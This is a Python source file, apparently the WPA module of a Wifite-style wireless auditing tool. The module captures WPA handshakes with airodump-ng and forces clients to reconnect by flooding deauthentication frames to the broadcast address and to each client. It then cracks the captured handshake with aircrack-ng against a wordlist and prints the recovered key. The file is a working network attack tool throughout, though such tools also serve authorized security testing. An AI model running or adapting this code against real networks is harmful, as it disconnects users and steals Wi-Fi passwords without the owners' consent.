307 lines
12 KiB
Python
Executable File
307 lines
12 KiB
Python
Executable File
#!/usr/bin/python2.7
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# -*- coding: utf-8 -*-
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from ..model.attack import Attack
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from ..tools.airodump import Airodump
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from ..tools.aireplay import Aireplay
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from ..config import Configuration
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from ..util.color import Color
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from ..util.process import Process
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from ..util.timer import Timer
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from ..model.handshake import Handshake
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from ..model.wpa_result import CrackResultWPA
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import time
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import os
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import re
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from shutil import copy
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class AttackWPA(Attack):
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def __init__(self, target):
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super(AttackWPA, self).__init__(target)
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self.clients = []
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self.crack_result = None
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self.success = False
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def run(self):
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'''
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Initiates full WPA hanshake capture attack.
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'''
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# Check if user only wants to run PixieDust attack
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if Configuration.wps_only and self.target.wps:
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Color.pl('\r{!} {O}--wps-only{R} set, ignoring WPA-handshake attack on {O}%s{W}' % self.target.essid)
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self.success = False
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return self.success
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handshake = None
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# Capture the handshake ("do it live!")
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if handshake is None:
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handshake = self.capture_handshake()
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if handshake is None:
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# Failed to capture handshake
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self.success = False
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return self.success
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# Analyze handshake
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Color.pl('\n{+} analysis of captured handshake file:')
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handshake.analyze()
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# Crack it
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key = self.crack_handshake(handshake, Configuration.wordlist)
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if key is None:
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self.success = False
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else:
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self.crack_result = CrackResultWPA(handshake.bssid, handshake.essid, handshake.capfile, key)
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self.crack_result.dump()
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self.success = True
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return self.success
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def capture_handshake(self):
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''' Returns captured or stored handshake, otherwise None '''
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handshake = None
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# First, start Airodump process
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with Airodump(channel=self.target.channel,
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target_bssid=self.target.bssid,
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skip_wps=True,
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output_file_prefix='wpa') as airodump:
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Color.clear_entire_line()
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Color.pattack("WPA", self.target, "Handshake capture", "Waiting for target to appear...")
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airodump_target = self.wait_for_target(airodump)
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self.clients = []
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# Try to load existing handshake
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if Configuration.ignore_old_handshakes == False:
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bssid = airodump_target.bssid
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essid = airodump_target.essid if airodump_target.essid_known else None
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handshake = self.load_handshake(bssid=bssid, essid=essid)
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if handshake:
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Color.pattack("WPA", self.target, "Handshake capture", "found {G}existing handshake{W} for {C}%s{W}" % handshake.essid)
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Color.pl('\n{+} Using handshake from {C}%s{W}' % handshake.capfile)
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return handshake
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timeout_timer = Timer(Configuration.wpa_attack_timeout)
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deauth_timer = Timer(Configuration.wpa_deauth_timeout)
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while handshake is None and not timeout_timer.ended():
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step_timer = Timer(1)
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Color.clear_entire_line()
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Color.pattack("WPA",
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airodump_target,
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"Handshake capture",
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"Listening. (clients:{G}%d{W}, deauth:{O}%s{W}, timeout:{R}%s{W})" % (len(self.clients), deauth_timer, timeout_timer))
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# Find .cap file
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cap_files = airodump.find_files(endswith='.cap')
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if len(cap_files) == 0:
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# No cap files yet
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time.sleep(step_timer.remaining())
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continue
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cap_file = cap_files[0]
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# Copy .cap file to temp for consistency
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temp_file = Configuration.temp('handshake.cap.bak')
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copy(cap_file, temp_file)
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# Check cap file in temp for Handshake
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bssid = airodump_target.bssid
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essid = airodump_target.essid if airodump_target.essid_known else None
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handshake = Handshake(temp_file, bssid=bssid, essid=essid)
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if handshake.has_handshake():
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# We got a handshake
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Color.pl('\n\n{+} {G}successfully captured handshake{W}')
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break
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# There is no handshake
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handshake = None
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# Delete copied .cap file in temp to save space
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os.remove(temp_file)
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# Look for new clients
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airodump_target = self.wait_for_target(airodump)
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for client in airodump_target.clients:
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if client.station not in self.clients:
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Color.clear_entire_line()
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Color.pattack("WPA",
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airodump_target,
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"Handshake capture",
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"Discovered new client: {G}%s{W}" % client.station)
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Color.pl("")
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self.clients.append(client.station)
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# Send deauth to a client or broadcast
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if deauth_timer.ended():
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self.deauth(airodump_target)
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# Restart timer
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deauth_timer = Timer(Configuration.wpa_deauth_timeout)
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# Sleep for at-most 1 second
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time.sleep(step_timer.remaining())
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continue # Handshake listen+deauth loop
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if handshake is None:
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# No handshake, attack failed.
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Color.pl("\n{!} {O}WPA handshake capture {R}FAILED:{O} Timed out after %d seconds" % (Configuration.wpa_attack_timeout))
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return handshake
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else:
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# Save copy of handshake to ./hs/
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self.save_handshake(handshake)
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return handshake
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def crack_handshake(self, handshake, wordlist):
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'''Tries to crack a handshake. Returns WPA key if found, otherwise None.'''
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if wordlist is None:
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Color.pl("{!} {O}Not cracking handshake because" +
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" wordlist ({R}--dict{O}) is not set")
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return None
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elif not os.path.exists(wordlist):
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Color.pl("{!} {O}Not cracking handshake because" +
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" wordlist {R}%s{O} was not found" % wordlist)
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return None
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Color.pl("\n{+} {C}Cracking WPA Handshake:{W} Using {C}aircrack-ng{W} via" +
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" {C}%s{W} wordlist" % os.path.split(wordlist)[-1])
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key_file = Configuration.temp('wpakey.txt')
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command = [
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"aircrack-ng",
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"-a", "2",
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"-w", wordlist,
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"--bssid", handshake.bssid,
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"-l", key_file,
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handshake.capfile
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]
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crack_proc = Process(command)
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# Report progress of cracking
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aircrack_nums_re = re.compile(r"(\d+)/(\d+) keys tested.*\(([\d.]+)\s+k/s")
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aircrack_key_re = re.compile(r"Current passphrase:\s*([^\s].*[^\s])\s*$")
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num_tried = num_total = 0
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percent = num_kps = 0.0
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eta_str = "unknown"
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current_key = ''
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while crack_proc.poll() is None:
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line = crack_proc.pid.stdout.readline()
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match_nums = aircrack_nums_re.search(line)
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match_keys = aircrack_key_re.search(line)
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if match_nums:
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num_tried = int(match_nums.group(1))
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num_total = int(match_nums.group(2))
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num_kps = float(match_nums.group(3))
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eta_seconds = (num_total - num_tried) / num_kps
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eta_str = Timer.secs_to_str(eta_seconds)
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percent = 100.0 * float(num_tried) / float(num_total)
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elif match_keys:
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current_key = match_keys.group(1)
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else:
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continue
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status = "\r{+} {C}Cracking WPA Handshake: %0.2f%%{W}" % percent
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status += " ETA: {C}%s{W}" % eta_str
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status += " @ {C}%0.1fkps{W}" % num_kps
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#status += " ({C}%d{W}/{C}%d{W} keys)" % (num_tried, num_total)
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status += " (current key: {C}%s{W})" % current_key
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Color.clear_entire_line()
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Color.p(status)
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Color.pl("")
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# Check crack result
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if os.path.exists(key_file):
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with open(key_file, "r") as fid:
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key = fid.read().strip()
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os.remove(key_file)
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Color.pl("{+} {G}Cracked WPA Handshake{W} PSK: {G}%s{W}\n" % key)
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return key
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else:
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Color.pl("{!} {R}Failed to crack handshake:" +
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" {O}%s{R} did not contain password{W}" % wordlist.split(os.sep)[-1])
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return None
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def load_handshake(self, bssid, essid):
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if not os.path.exists(Configuration.wpa_handshake_dir):
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return None
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if essid:
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essid_safe = re.escape(re.sub('[^a-zA-Z0-9]', '', essid))
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else:
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essid_safe = '[a-zA-Z0-9]+'
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bssid_safe = re.escape(bssid.replace(':', '-'))
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date = '\d{4}-\d{2}-\d{2}T\d{2}-\d{2}-\d{2}'
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get_filename = re.compile('handshake_%s_%s_%s\.cap' % (essid_safe, bssid_safe, date))
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for filename in os.listdir(Configuration.wpa_handshake_dir):
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cap_filename = os.path.join(Configuration.wpa_handshake_dir, filename)
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if os.path.isfile(cap_filename) and re.match(get_filename, filename):
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return Handshake(capfile=cap_filename, bssid=bssid, essid=essid)
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return None
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def save_handshake(self, handshake):
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'''
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Saves a copy of the handshake file to hs/
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Args:
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handshake - Instance of Handshake containing bssid, essid, capfile
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'''
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# Create handshake dir
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if not os.path.exists(Configuration.wpa_handshake_dir):
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os.mkdir(Configuration.wpa_handshake_dir)
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# Generate filesystem-safe filename from bssid, essid and date
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essid_safe = re.sub('[^a-zA-Z0-9]', '', handshake.essid)
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bssid_safe = handshake.bssid.replace(':', '-')
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date = time.strftime('%Y-%m-%dT%H-%M-%S')
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cap_filename = 'handshake_%s_%s_%s.cap' % (essid_safe, bssid_safe, date)
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cap_filename = os.path.join(Configuration.wpa_handshake_dir, cap_filename)
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if Configuration.wpa_strip_handshake:
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Color.p("{+} {C}stripping{W} non-handshake packets, saving to {G}%s{W}..." % cap_filename)
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handshake.strip(outfile=cap_filename)
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Color.pl('{G}saved{W}')
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else:
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Color.p('{+} saving copy of {C}handshake{W} to {C}%s{W} ' % cap_filename)
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copy(handshake.capfile, cap_filename)
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Color.pl('{G}saved{W}')
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# Update handshake to use the stored handshake file for future operations
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handshake.capfile = cap_filename
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def deauth(self, target):
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'''
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Sends deauthentication request to broadcast and every client of target.
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Args:
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target - The Target to deauth, including clients.
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'''
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if Configuration.no_deauth: return
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for index, client in enumerate([None] + self.clients):
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if client is None:
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target_name = "*broadcast*"
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else:
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target_name = client
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Color.clear_entire_line()
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Color.pattack("WPA",
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target,
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"Handshake capture",
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"Deauthing {O}%s{W}" % target_name)
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Aireplay.deauth(target.bssid, client_mac=client, timeout=2)
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if __name__ == '__main__':
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Configuration.initialize(True)
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from ..model.target import Target
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fields = "A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 11, 54e,WPA, WPA, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, ".split(',')
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target = Target(fields)
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wpa = AttackWPA(target)
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try:
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wpa.run()
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except KeyboardInterrupt:
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Color.pl("")
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pass
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Configuration.exit_gracefully(0)
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